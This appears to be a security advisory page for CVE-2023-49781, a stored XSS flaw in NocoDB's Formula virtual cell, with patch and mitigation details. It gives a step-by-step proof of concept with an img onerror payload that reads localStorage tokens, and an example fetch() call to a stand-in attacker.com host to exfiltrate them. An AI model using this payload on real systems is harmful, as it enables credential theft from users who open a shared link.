CVE-2023-49781 is a high-severity (CVSS 7.3) Cross-site Scripting (XSS) vulnerability in nocodb. A fix is available for nocodb — see the affected versions and patch details below.
NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-49781.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
nocodbnpmDescription
Summary
A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.
Details
The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.
PoC
Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T} Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX) Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage
The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2')) to replace the alert and then steal the victims' credentials in their attacker.com website.
Impact
Stealing the credentials of NocoDB user that clicks the malicious link.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | nocodb | all versions | 0.202.9npm install nocodb@0.202.9 |
Affected Products
nocodbnocodbDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nocodb, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nocodb to 0.202.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-49781 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2023-49781 in your dependencies?
Find it across npm, including transitive dependencies.